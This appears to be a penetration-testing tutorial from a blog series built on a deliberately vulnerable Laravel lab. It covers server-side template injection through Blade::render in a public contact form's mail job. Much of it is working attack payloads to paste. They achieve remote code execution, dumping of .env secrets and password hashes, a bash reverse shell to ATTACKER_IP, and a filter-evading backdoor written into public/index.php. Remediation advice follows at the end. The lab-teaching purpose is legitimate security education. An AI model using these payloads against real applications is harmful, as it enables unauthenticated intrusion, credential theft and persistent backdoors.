Server-Side Template Injection in Laravel
Blade::render($contact['message']). Type {{ 7*7 }}
into the message field and the email that arrives reads 49. Type
@php(system('id')) and the queue worker runs id on the
server, not your browser. The form is public, so no login is needed. The mail
job executes in the dvla-horizon queue worker, which makes template
injection a second unauthenticated route to code execution that does not depend
on APP_KEY, a session cookie, or a gadget chain. The contact form
was not built to be a shell, but the application treats whatever you type as
code. Because the worker runs as root with the application mounted,
the same injection can also dump .env, read every password hash,
open an interactive root shell, and leave a backdoor that survives restarts.
Where This Sits in the Kill Chain
Up to now the series had one way to execute code on the app: leak
.env, forge a session cookie with APP_KEY, and ride a
phpggc gadget chain into a shell inside dvla-admin (Posts 1 and 2). That
path works, but it depends on several things lining up: the Nginx root
misconfiguration, the leaked key, the cookie driver, and the right gadget for
the Laravel version. SSTI requires none of them. A public form and a mail job
are enough.
This post adds a second route to code execution that does not touch the deserialization bug or any leaked secret. The entry point and the trigger are different, but the result is the same: a shell inside a container on the internal network.
One container detail matters up front. The deserialization chain lands you
inside dvla-admin, the php-fpm web worker. SSTI puts you inside
dvla-horizon, the queue worker. Both containers run as root and
mount the shared /var/www code root, so either route can write
files into the web root. The difference is where the code runs, not which user
it runs as. Here it runs in the queue worker, out of band from the request that
triggered it.
The diagram has two independent entry points into code execution. Post 2's
deserialization RCE runs in dvla-admin, the php-fpm worker; this
post's template injection runs in dvla-horizon, the queue worker.
From either container, the internal Redis node and the mounted
docker.sock are within reach, and Post 11 turns the socket into a
host escape. Real assessments usually look more like this than like one clean
line: several independent bugs that each lead toward the same internal target.
Vulnerability Classification
| CWE | CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (Server-Side Template Injection), with CWE-94 (Code Injection) as the consequence once the payload escapes the template. |
|---|---|
| OWASP Top 10 | A03:2021 Injection. SSTI sits in the injection family alongside SQL injection: untrusted input reaches an interpreter and is treated as instructions. |
| Why it is worse than the usual SSTI |
Most template engines restrict you to a limited expression language.
Blade is not a sandbox; it compiles templates directly to PHP, and
@php is a first-class directive rather than an escape hatch.
There is no expression syntax to break out of, because once the string is
compiled it can do anything the PHP process can. Exploitation needs no
gadget chain and no clever escape.
|
| Authentication required |
None. The contact form at /contact is public and anonymous.
Submit the message, the mail job picks it up, and the template engine runs
it. The attacker never logs in and never touches the admin panel.
|
| Where the code actually runs |
The NotifyNewContact job executes in the dvla-horizon
container as the root queue worker, not in the
php-fpm web worker. The payload's output lands in the
rendered email rather than the page the attacker submitted
from, and the injected code can write into the shared
/var/www code root that both containers mount.
|
| Severity note |
Critical. Unauthenticated remote code execution through a public form,
running as the queue worker in the dvla-horizon container on
the internal network. The main prerequisite is that the queue worker is
running, and this lab ships with Horizon doing that.
|
Blade in Thirty Seconds
Blade is Laravel's templating language, but it is not an interpreter that runs
at request time. It is a compiler. Every
Blade file gets compiled down to a plain PHP file, cached, and then executed like
any other PHP. {{ $x }} becomes an echo,
@if becomes an if, and @php means
"paste raw PHP here."
That distinction is the bug. When you render a view, the template is a file you
wrote and shipped. When you call Blade::render($userInput), the
template is a string the user typed, and Blade compiles it with the same trust
it gives your own files. The engine has no way to tell the two apart, and it was
not designed to.
// resources/views/mail/contact.blade.php
// {{ $contact['message'] }} <- compiled once, data is data
$rendered = Blade::render($contact['message']);
In the safe column the user's text is data. It gets echoed through an escape function and never reaches the compiler. In the unsafe column the user's text is the template itself, so any Blade directive they write is one the server executes.
The Vulnerable Code
The bug lives in the contact form's mail path. A visitor submits
/contact, Livewire validates the fields, the message gets stored in
the contacts table, and a job is queued to email the site owner.
That part is ordinary. The problem is what the mailable does with the message
when it renders.
public function content(): Content
{
// Legacy v1 CMS used a Blade "message template" feature so content editors
// could drop {{ $contact['name'] }} and friends into the auto-reply. Kept
// for backwards compatibility; renders the raw submission as a template.
$rendered = Blade::render($this->contact['message'] ?? '', [
'contact' => $this->contact,
]);
return new Content(
view: 'mail.contact',
with: ['renderedMessage' => $rendered],
);
}
The comment explains the intent. The feature lets a content editor put
{{ $contact['name'] }} in a reply and have it filled in, but the
string was never restricted to the editor's own templates. It is the same
message field the public form accepts from anyone, and it goes
into the compiler.
The mail view then trusts the result as HTML and drops it in unescaped, which is how the compiled output makes it into the actual email:
resources/views/mail/contact.blade.php<p>Message: {!! $renderedMessage !!}</p>
Two mistakes stack here. User input is treated as a template, and the rendered
output is emitted with {!! !!}, so whatever the template produced
is trusted as HTML. The first mistake is the code execution; the second is what
makes the result visible.
default queue only when
APP_ENV is docker, otherwise the code routes it to the
emails queue. The worker has to be listening to the same queue the
job landed on, or the message sits there unrendered and the payload never runs.
Why Blade::render() Is Not a Feature
Laravel's docs are clear about what Blade::render() does, but the
pattern keeps shipping anyway. It compiles an arbitrary template string on
demand, so once that string contains anything a user can influence, the user is
writing PHP. There is no sandbox between the two. @php is a
supported directive, @include and @extends reach into
the filesystem, and once code runs, any PHP function is available.
It is the template version of eval(). You would
not put a user's form field through eval() and then argue it is
fine because most visitors type polite messages. Blade::render($input)
is the same decision with a prettier name, and it fails the same way.
The Payload Arsenal
Because Blade compiles to PHP, the payload ladder is short. Detection is one multiplication, exploitation is one directive.
{{ 7*7 }} // detection: email reads 49
{{ config('app.key') }} // leaks APP_KEY straight into the reply
@php(system('id')) // RCE, output appears in the rendered email body
@php(system('env')) // RCE, dumps every env var into the rendered email body
The last two are the ones that matter in this lab. system()'s
output does not go to a container log. It is captured by Blade's own
output buffering while the template compiles and returned as part of the
rendered string. That string is what content() hands to the mail
view, so the command's output ends up inside $renderedMessage,
which lands in the body of the auto-reply email. There is no webshell or
reverse shell; the output simply turns up in the email the exploit causes the
app to send.
Proof of Concept
Prerequisites: a working outbound mailer. The form is public and the queue
worker is already running, but a fresh clone's MAIL_MAILER=smtp
falls back to 127.0.0.1:2525, and nothing is listening on it. The
mailable still gets built and the payload still executes either way, because
Blade compiles the message before the transport connects. But if delivery
fails, the rendered output is discarded with it and you cannot read the result.
Point MAIL_HOST/MAIL_PORT/
MAIL_USERNAME/MAIL_PASSWORD in .env at a
real catcher first, a free Mailtrap sandbox inbox is enough, then restart the
Horizon worker so it picks up the new config.
{{ 7*7 }}
49, and the email body reads:Message: 49
@php(system('id'))
id output is written into the email body:Message: uid=0(root) gid=0(root) groups=0(root)
{{ config('app.key') }}
Message: base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=
The RCE proves the sink, but
{{ config('app.key') }} carries the master key out through
the queue worker. That is the same key Post 2 uses to forge a
session cookie and reach deserialization RCE, so the two bugs in this series
feed each other. The contact form was never meant to be a shell or a
secret store; it is now both.
Blade::render()
compiles its argument; the rest is the app doing what the developer told it to.
From Proof to Real Damage
49 only proves the message is compiled. The attacks start here.
Every example below is a payload you paste into the same
Your Message box on the public
/contact form, with nothing more
than a running queue worker. No login, no leaked key, and, unlike the steps
above, no mail catcher.
The attacks fall into two groups. Attacks 1, 2, and 4 write a file into the web root and read it back over plain HTTP, using only the access an outsider already has: the same protocol they used to submit the form. Attack 3 asks the container to open a new outbound connection to an address the attacker names, which depends on the target's egress rules and on the attacker having something reachable to receive it. That path exists in this lab because everything shares a Docker bridge; on a real target it usually does not. The file-write attacks are the ones that hold up against a true outsider.
http://localhost:8084/contact, fill in the required fields
(any name, a valid email), paste one payload into the Your Message
box, and click SEND. A second later the queue worker runs the
payload inside dvla-horizon as root.
ATTACKER_IP appears only in Attack 3, and it is the one value here
that depends on the network rather than on the payload: replace it with an
address the containers can reach from inside the lab.
Attack 1 Dump the whole .env to a URL anyone can read
What it does: it reads the application's .env file every secret the app has and writes it into the web root, where
Nginx serves it like any other file. No email, no mail server, no waiting: you
open a URL and read the secrets. Where {{ config('app.key') }} leaked
one value into an inbox, this dumps everything at once.
Paste this into the Message box:
@php(file_put_contents('/var/www/public/leak.txt', file_get_contents('/var/www/.env')))
Then open this URL:
http://localhost:8084/public/leak.txt
The page shows APP_KEY, the MySQL password, the mail credentials,
every secret in the file:
Attack 2 Dump every user and password hash
What it does: the same trick, aimed at the database. The worker already holds working database credentials, so it can ask the application's own ORM for every account and write the result to a URL. You get a list of emails and bcrypt hashes to crack offline. Policy, MFA, and rate limiting stop nothing once the hashes are gone.
Paste this into the Message box:
@php(file_put_contents('/var/www/public/users.txt', \Illuminate\Support\Facades\DB::table('users')->select('id','name','email','password')->get()->toJson(128)))
Then open this URL:
http://localhost:8084/public/users.txt
A few seconds later it is a tidy list of every account:
Attack 3 Get an interactive root shell
What it does: instead of writing a file, this payload makes the
worker open a connection back to your machine and hand you a command prompt
inside the container. This is a live session: you type commands, they run on the
server as root, and the output comes back to your terminal. The
file dumps are silent by comparison, while a reverse shell gives you an
interactive session instead. It needs no webshell, gadget chain, or key.
Before you start, open a terminal and start a listener (change the port if you like):
nc -lvnp 4444
Find an address the containers can reach. In this lab that is the Docker bridge gateway, because the worker and the listener happen to share a host; on a real target there may be no such route:
docker network inspect dvla_dvla-net -f '{{(index .IPAM.Config 0).Gateway}}'
Paste this into the Message box, replacing ATTACKER_IP with that address:
@php(system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'))
Your listener catches a root shell inside the queue worker. The shell runs with the same root privileges as Attacks 1, 2, and 4; the difference is that it is interactive, and that it required the network path. Nothing about the submitted request looked unusual:
Attack 4 Leave a backdoor that survives restarts
What it does: the payloads above copy data out and stop. This
one writes executable code a small backdoor into the file that
handles every page request,
public/index.php. After it runs, the application's own home page
runs commands for you: open http://localhost:8084/?c=id and the page
returns the output of id. It keeps working after the queue drains
and after the containers restart, until someone edits the file back. Nginx
forces every PHP request through public/index.php (see
docker-compose/nginx/dvla.conf), which is why that is the
file to poison.
Paste this into the Message box:
@php(file_put_contents('/var/www/public/index.php', '<'.'?php if(isset($_GET["c"])){system($_GET["c"]);exit;} ?'.'>'.file_get_contents('/var/www/public/index.php')))
Then open this URL (try ?c=ls or ?c=cat /var/www/.env as well):
http://localhost:8084/?c=id
An important observation here: the tag is split as '<'.'?php' and
'?'.'>' on purpose. Blade runs the template through PHP's
tokenizer, so a literal <?php inside the payload flips the
tokenizer into PHP mode and corrupts the render. Splitting the tag sidesteps
that, and it slips past the naive @php filters you might be tempted
to write. From then on the application's own front page is the backdoor:
What You Can Do Once Template Injection Works
Unauthenticated RCE
The contact form is public. No key, session, or gadget chain is needed; one submission turns into code execution on the queue worker.
Runs as root
The payload executes in the dvla-horizon container as the
queue worker's root user, which is what lets it write into the
shared code root.
APP_KEY disclosure
{{ config('app.key') }} sends the master key into a queued
email, which then re-enables the Post 2 deserialization route if it was ever
closed.
Writes to the code root
The worker's user owns the shared /var/www tree, so injected
code can read and write the entire application source, config files, and
storage, not just echo to a log.
Same network as the escape
The Horizon and php-fpm containers both sit on the internal
dvla-net bridge and mount /var/run/docker.sock, so
this shell lands in the same part of the network where Post 11's host escape
plays out.
Hard to spot
Nothing looks wrong in the browser: the response is just "Message Sent," and the code runs later in a different container. There is no upload, no payload request, and no error page. The exfiltrated files and the injected backdoor never appear in the response, so the first sign is often an outbound connection rather than the web app.
Remediation
The bug is that the message is the template. Flip it back: the template is
your Blade file, the message is data, and Blade's normal escaping handles the
rest. That means two edits the mailable stops calling
Blade::render(), and the view echoes the message as data instead of
emitting a pre-rendered string:
public function content(): Content
{
return new Content(
view: 'mail.contact',
with: ['contact' => $this->contact],
);
}
resources/views/mail/contact.blade.php
<p>Message: {{ $contact['message'] }}</p>
With the message back in a {{ $contact['message'] }} echo, an
attacker's @php is just characters in an email, not a directive.
The "template" feature dies, which is fine, because public visitors were never
supposed to author templates.
A genuine "mail merge" feature should look like a tiny token replacer, not a
template engine. Accept only {{ name }} and {{ email }},
and substitute them with str_replace before the string ever goes
near Blade. There is no reason a customer-facing merge field needs access to
system():
$message = str_replace(
['{{ name }}', '{{ email }}'],
[e($contact['name']), e($contact['email'])],
$template
);
A replacement loop this small has no compiler and no directives, so it cannot become code. It keeps the convenience the original feature was after, without the RCE.
Blade::render(), scope the data and treat the output as untrusted.
Some legitimate cases do render stored template strings, admin-edited email
templates, for instance. If that string must stay a template, pass only the data
it needs (nothing global), and escape the rendered result with e()
before it reaches the view, so even a view that still emits raw HTML cannot turn
it into markup:
$rendered = Blade::render($template, ['contact' => $this->contact]);
return new Content(
view: 'mail.contact',
with: ['renderedMessage' => e($rendered)],
);
This does not stop an @php payload from executing; that is inherent
to full Blade, so it is a depth measure only. Fix 1 or Fix 2 is the real fix.
This third one applies when you have accepted that the template authors are
trusted admins and only want to keep their output from becoming an XSS vector in
the mail client.
Remediation Checklist
Blade::render(,
Blade::compileString(, and view()->make($userInput).
Every hit is a candidate for template injection. Trace the argument back to
its source.
with() so Blade's normal
{{ }} escaping applies.
str_replace over a fixed set of
merge fields), not a full template engine.
{!! !!}. If
you must render, escape the result with e() so the compiled
output cannot become a second-stage XSS in the mail client or page.
docker.sock. Even after
the template bug is fixed, this caps the blast radius of any future
injection.
{{ 7*7 }} through any form that
gets rendered or emailed back. If the number 49 comes back, the input was
compiled as a template, and you have an SSTI to close.